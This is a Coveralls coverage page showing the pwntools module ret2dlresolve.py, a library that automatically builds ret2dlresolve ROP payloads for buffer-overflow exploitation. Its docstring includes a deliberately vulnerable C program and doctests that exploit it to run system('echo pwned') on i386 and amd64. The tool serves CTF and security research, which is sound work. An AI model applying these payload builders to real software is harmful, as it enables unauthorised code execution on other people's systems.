• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 10549548915

25 Aug 2024 07:27PM UTC coverage: 74.048% (-0.3%) from 74.334%
10549548915

Pull #2445

github

web-flow
Merge 184b2181d into df620d744
Pull Request #2445: Fix parsing the PLT on Windows

4552 of 7384 branches covered (61.65%)

1 of 2 new or added lines in 1 file covered. (50.0%)

848 existing lines in 15 files now uncovered.

13222 of 17856 relevant lines covered (74.05%)

0.74 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

87.5
/pwnlib/rop/ret2dlresolve.py
1
r"""
2
Provides automatic payload generation for exploiting buffer overflows
3
using ret2dlresolve.
4

5
We use the following example program:
6

7
::
8

9
    #include <unistd.h>
10
    void vuln(void){
11
        char buf[64];
12
        read(STDIN_FILENO, buf, 200);
13
    }
14
    int main(int argc, char** argv){
15
        vuln();
16
    }
17

18
We can automate the  process of exploitation with these some example binaries.
19
    
20
    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
21
    >>> rop = ROP(context.binary)
22
    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
23
    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
24
    >>> rop.ret2dlresolve(dlresolve)
25
    >>> raw_rop = rop.chain()
26
    >>> print(rop.dump())
27
    0x0000:        0x80482e0 read(0, 0x804ae00)
28
    0x0004:        0x80484ea <adjust @0x10> pop edi; pop ebp; ret
29
    0x0008:              0x0 arg0
30
    0x000c:        0x804ae00 arg1
31
    0x0010:        0x80482d0 [plt_init] system(0x804ae24)
32
    0x0014:           0x2b84 [dlresolve index]
33
    0x0018:          b'gaaa' <return address>
34
    0x001c:        0x804ae24 arg0
35
    >>> p = elf.process()
36
    >>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
37
    >>> p.recvline()
38
    b'pwned\n'
39

40
You can also use ``Ret2dlresolve`` on AMD64:
41

42
    >>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
43
    >>> rop = ROP(elf)
44
    >>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
45
    >>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
46
    >>> rop.ret2dlresolve(dlresolve)
47
    >>> raw_rop = rop.chain()
48
    >>> print(rop.dump())
49
    0x0000:         0x400593 pop rdi; ret
50
    0x0008:              0x0 [arg0] rdi = 0
51
    0x0010:         0x400591 pop rsi; pop r15; ret
52
    0x0018:         0x601e00 [arg1] rsi = 6299136
53
    0x0020:      b'iaaajaaa' <pad r15>
54
    0x0028:         0x4003f0 read
55
    0x0030:         0x400593 pop rdi; ret
56
    0x0038:         0x601e48 [arg0] rdi = 6299208
57
    0x0040:         0x4003e0 [plt_init] system
58
    0x0048:          0x15670 [dlresolve index]
59
    >>> p = elf.process()
60
    >>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
61
    >>> if dlresolve.unreliable:
62
    ...     p.poll(True) == -signal.SIGSEGV
63
    ... else:
64
    ...     p.recvline() == b'pwned\n'
65
    True
66
"""
67

68
import six
1✔
69
from copy import deepcopy
1✔
70

71
from pwnlib.context import context
1✔
72
from pwnlib.log import getLogger
1✔
73
from pwnlib.util.packing import *
1✔
74
from pwnlib.util.packing import _need_bytes
1✔
75
from pwnlib.util.misc import align
1✔
76

77
log = getLogger(__name__)
1✔
78

79
ELF32_R_SYM_SHIFT = 8
1✔
80
ELF64_R_SYM_SHIFT = 32
1✔
81

82
class Elf32_Rel(object):
1✔
83
    ''
84
    """
1✔
85
    .. code-block:: c
86

87
        typedef struct elf32_rel {
88
            Elf32_Addr        r_offset;
89
            Elf32_Word        r_info;
90
        } Elf32_Rel;
91
    """
92
    size=1 # see _build_structures method for explanation
1✔
93
    def __init__(self, r_offset=0, r_info=0):
1✔
94
        self.r_offset = r_offset
1✔
95
        self.r_info = r_info
1✔
96

97
    def __flat__(self):
1✔
98
        return p32(self.r_offset) + p32(self.r_info)
1✔
99

100
    def __bytes__(self):
1✔
101
        return self.__flat__()
×
102

103

104
class Elf64_Rel(object):
1✔
105
    ''
106
    """
1✔
107
    .. code-block:: c
108

109
        typedef struct elf64_rel {
110
            Elf64_Addr r_offset;
111
            Elf64_Xword r_info;
112
        } Elf64_Rel;
113
    """
114
    size=24
1✔
115
    def __init__(self, r_offset=0, r_info=0):
1✔
116
        self.r_offset = r_offset
1✔
117
        self.r_info = r_info
1✔
118

119
    def __flat__(self):
1✔
120
        return p64(self.r_offset) + p64(self.r_info) + p64(0)
1✔
121

122
    def __bytes__(self):
1✔
123
        return self.__flat__()
×
124

125

126
class Elf32_Sym(object):
1✔
127
    ''
128
    """
1✔
129
    .. code-block:: c
130

131
        typedef struct elf32_sym{
132
            Elf32_Word        st_name;
133
            Elf32_Addr        st_value;
134
            Elf32_Word        st_size;
135
            unsigned char        st_info;
136
            unsigned char        st_other;
137
            Elf32_Half        st_shndx;
138
        } Elf32_Sym;
139
    """
140
    size = 16
1✔
141
    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
1✔
142
        self.st_name = st_name
1✔
143
        self.st_value = st_value
1✔
144
        self.st_size = st_size
1✔
145
        self.st_info = st_info
1✔
146
        self.st_other = st_other
1✔
147
        self.st_shndx = st_shndx
1✔
148

149
    def __flat__(self):
1✔
150
        return p32(self.st_name) + \
1✔
151
            p32(self.st_value) + \
152
            p32(self.st_size) + \
153
            p8(self.st_info) + \
154
            p8(self.st_other) + \
155
            p16(self.st_shndx)
156

157
    def __bytes__(self):
1✔
158
        return self.__flat__()
×
159

160

161
class Elf64_Sym(object):
1✔
162
    ''
163
    """
1✔
164
    .. code-block:: c
165

166
        typedef struct elf64_sym {
167
            Elf64_Word st_name;
168
            unsigned char        st_info;
169
            unsigned char        st_other;
170
            Elf64_Half st_shndx;
171
            Elf64_Addr st_value;
172
            Elf64_Xword st_size;
173
        } Elf64_Sym;
174
    """
175
    size=24
1✔
176
    def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
1✔
177
        self.st_name = st_name
1✔
178
        self.st_value = st_value
1✔
179
        self.st_size = st_size
1✔
180
        self.st_info = st_info
1✔
181
        self.st_other = st_other
1✔
182
        self.st_shndx = st_shndx
1✔
183

184
    def __flat__(self):
1✔
185
        return p32(self.st_name) + \
1✔
186
            p8(self.st_info) + \
187
            p8(self.st_other) + \
188
            p16(self.st_shndx) + \
189
            p64(self.st_value) + \
190
            p64(self.st_size)
191

192
    def __bytes__(self):
1✔
193
        return self.__flat__()
×
194

195

196
class Queue(list):
1✔
197
    ''
198
    def size(self):
1✔
199
        size = 0
1✔
200
        for v in self:
1!
201
            # Lists, strings and ints all have size context.size
202
            # Assuming int size equals address size
203
            if isinstance(v, MarkedBytes):
×
204
                size += len(v)
×
205
            else:
206
                size += context.bytes
×
207
        return size
1✔
208

209

210
class MarkedBytes(bytes):
1✔
211
    ''
212
    pass
1✔
213

214

215
class Ret2dlresolvePayload(object):
1✔
216
    """Create a ret2dlresolve payload
217

218
    Arguments:
219
        elf (ELF): Binary to search
220
        symbol (str): Function to search for
221
        args (list): List of arguments to pass to the function
222
        data_addr (int|None): The address where the payload will 
223
            be written to. If not provided, a suitable address will
224
            be chosen automatically (recommended).
225
        resolution_addr (int|None): The address where the location
226
            of the resolved symbol will be written to. If not provided
227
            will be equal to data_addr.
228

229
    Returns:
230
        A ``Ret2dlresolvePayload`` object. It can be passed to ``rop.ret2dlresolve``
231
        for automatic exploitation.
232

233
        If that is not suitable the object generates useful values (.reloc_index 
234
        and .payload) which can be used to aid manual exploitation. In this case
235
        it is recommended to set .resolution_addr to the GOT address of an easily
236
        callable function (do not set it when passing the object to 
237
        rop.ret2dlresolve).
238
    """
239
    def __init__(self, elf, symbol, args, data_addr=None, resolution_addr=None):
1✔
240
        self.elf = elf
1✔
241
        self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
1✔
242
        self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
1✔
243
        self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
1✔
244
        self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
1✔
245
        self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
1✔
246
        self.symbol = _need_bytes(symbol, min_wrong=0x80)
1✔
247
        self.args = args
1✔
248
        self.real_args = self._format_args()
1✔
249
        self.unreliable = False
1✔
250

251
        self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
1✔
252
        self.resolution_addr = resolution_addr if resolution_addr is not None else self.data_addr
1✔
253

254
        # Will be set when built
255
        self.reloc_index = -1
1✔
256
        self.payload = b""
1✔
257

258
        # PIE is untested, gcc forces FULL-RELRO when PIE is set
259
        if self.elf.pie and self.elf_load_address_fixup == 0:
1!
UNCOV
260
            log.warning("WARNING: ELF is PIE but has no base address set")
×
261

262
        self._build()
1✔
263

264
    def _format_args(self):
1✔
265
        # Encode every string in args
266
        def aux(args):
1✔
267
            for i, arg in enumerate(args):
1✔
268
                if isinstance(arg, (str,bytes)):
1!
269
                    args[i] = _need_bytes(args[i], min_wrong=0x80) + b"\x00"
1✔
UNCOV
270
                elif isinstance(arg, (list, tuple)):
×
UNCOV
271
                    aux(arg)
×
272

273
        args = deepcopy(self.args)
1✔
274
        aux(args)
1✔
275
        return args
1✔
276

277
    def _get_recommended_address(self):
1✔
278
        bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
1✔
279
        bss_size = self.elf.get_section_by_name(".bss").header.sh_size
1✔
280
        addr = bss + bss_size
1✔
281
        addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
1✔
282
        return addr
1✔
283

284
    def _build_structures(self):
1✔
285
        # The first part of the payload is the usual of ret2dlresolve.
286
        if context.bits == 32:
1✔
287
            ElfSym = Elf32_Sym
1✔
288
            ElfRel = Elf32_Rel
1✔
289
            ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
1✔
290
        elif context.bits == 64:
1!
291
            ElfSym = Elf64_Sym
1✔
292
            ElfRel = Elf64_Rel
1✔
293
            ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
1✔
294
        else:
UNCOV
295
            log.error("Unsupported bits")
×
296

297
        # where the address of the symbol will be saved
298
        # (ElfRel.r_offset points here)
299
        symbol_space = b"A"*context.bytes
1✔
300

301
        # Symbol name. Ej: system
302
        symbol_name_addr = self.data_addr + len(self.payload)
1✔
303
        symbol_name = self.symbol + b"\x00"
1✔
304
        symbol_end_addr = symbol_name_addr + len(symbol_name)
1✔
305

306
        # ElfSym
307
        index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
1✔
308
        sym_addr = self.symtab + ElfSym.size * index
1✔
309
        sym = ElfSym(st_name=symbol_name_addr - self.strtab)
1✔
310
        sym_end_addr = sym_addr + sym.size
1✔
311

312
        # It seems to be treated as an index in 64b and
313
        # as an offset in 32b. That's why Elf32_Rel.size = 1
314
        self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
1✔
315

316
        # ElfRel
317
        rel_addr = self.jmprel + self.reloc_index * ElfRel.size
1✔
318
        rel_type = 7
1✔
319
        rel = ElfRel(r_offset=self.resolution_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
1✔
320
        
321
        # When a program's PIE is enabled, r_offset should be the relative address, not the absolute address
322
        if self.elf.pie:
1!
UNCOV
323
            rel = ElfRel(r_offset=self.resolution_addr - (self.elf.load_addr + self.elf_load_address_fixup), r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
×
324
        
325
        self.payload = fit({
1✔
326
            symbol_name_addr - self.data_addr: symbol_name,
327
            sym_addr - self.data_addr: sym,
328
            rel_addr - self.data_addr: rel
329
        })
330

331
        ver_addr = self.versym + 2 * index # Elf_HalfWord
1✔
332

333
        log.debug("Symtab: %s", hex(self.symtab))
1✔
334
        log.debug("Strtab: %s", hex(self.strtab))
1✔
335
        log.debug("Versym: %s", hex(self.versym))
1✔
336
        log.debug("Jmprel: %s", hex(self.jmprel))
1✔
337
        log.debug("ElfSym addr: %s", hex(sym_addr))
1✔
338
        log.debug("ElfRel addr: %s", hex(rel_addr))
1✔
339
        log.debug("Symbol name addr: %s", hex(symbol_name_addr))
1✔
340
        log.debug("Version index addr: %s", hex(ver_addr))
1✔
341
        log.debug("Data addr: %s", hex(self.data_addr))
1✔
342
        log.debug("Resolution addr: %s", hex(self.resolution_addr))
1✔
343
        if not self.elf.memory[ver_addr]:
1✔
344
            log.warn("Ret2dlresolve is likely impossible in this ELF "
1✔
345
                     "(too big gap between text and writable sections).\n"
346
                     "If you get a segmentation fault with fault_addr = %#x, "
347
                     "try a different technique.", ver_addr)
348
            self.unreliable = True
1✔
349

350
    def _build_args(self):
1✔
351
        # The second part of the payload will include strings and pointers needed for ROP.
352
        queue = Queue()
1✔
353

354
        # We first have to process the arguments: replace lists and strings with
355
        # pointers to the payload. Add lists contents and marked strings to the queue
356
        # to be processed later.
357
        for i, arg in enumerate(self.real_args):
1✔
358
            if isinstance(arg, (list, tuple)):
1!
UNCOV
359
                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
×
UNCOV
360
                queue.extend(arg)
×
361
            elif isinstance(arg, bytes):
1!
362
                self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
1✔
363
                queue.append(MarkedBytes(arg))
1✔
364

365
        # Now we process the generated queue, which contains elements that will be in
366
        # the payload. We replace lists and strings with pointers, add lists elements
367
        # to the queue, and mark strings so next time they are processed they are
368
        # added and not replaced again.
369
        while len(queue) > 0:
1✔
370
            top = queue[0]
1✔
371
            if isinstance(top, (list, tuple)):
1!
UNCOV
372
                top = pack(self.data_addr + len(self.payload) + queue.size())
×
UNCOV
373
                queue.extend(queue[0])
×
374
            elif isinstance(top, MarkedBytes):
1!
375
                # Just add them
376
                pass
1✔
UNCOV
377
            elif isinstance(top, bytes):
×
UNCOV
378
                top = pack(self.data_addr + len(self.payload) + queue.size())
×
UNCOV
379
                queue.append(MarkedBytes(queue[0]))
×
UNCOV
380
            elif isinstance(top, six.integer_types):
×
UNCOV
381
                top = pack(top)
×
382

383
            self.payload += top
1✔
384
            queue.pop(0)
1✔
385

386
    def _build(self):
1✔
387
        self._build_structures()
1✔
388
        self._build_args()
1✔
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2025 Coveralls, Inc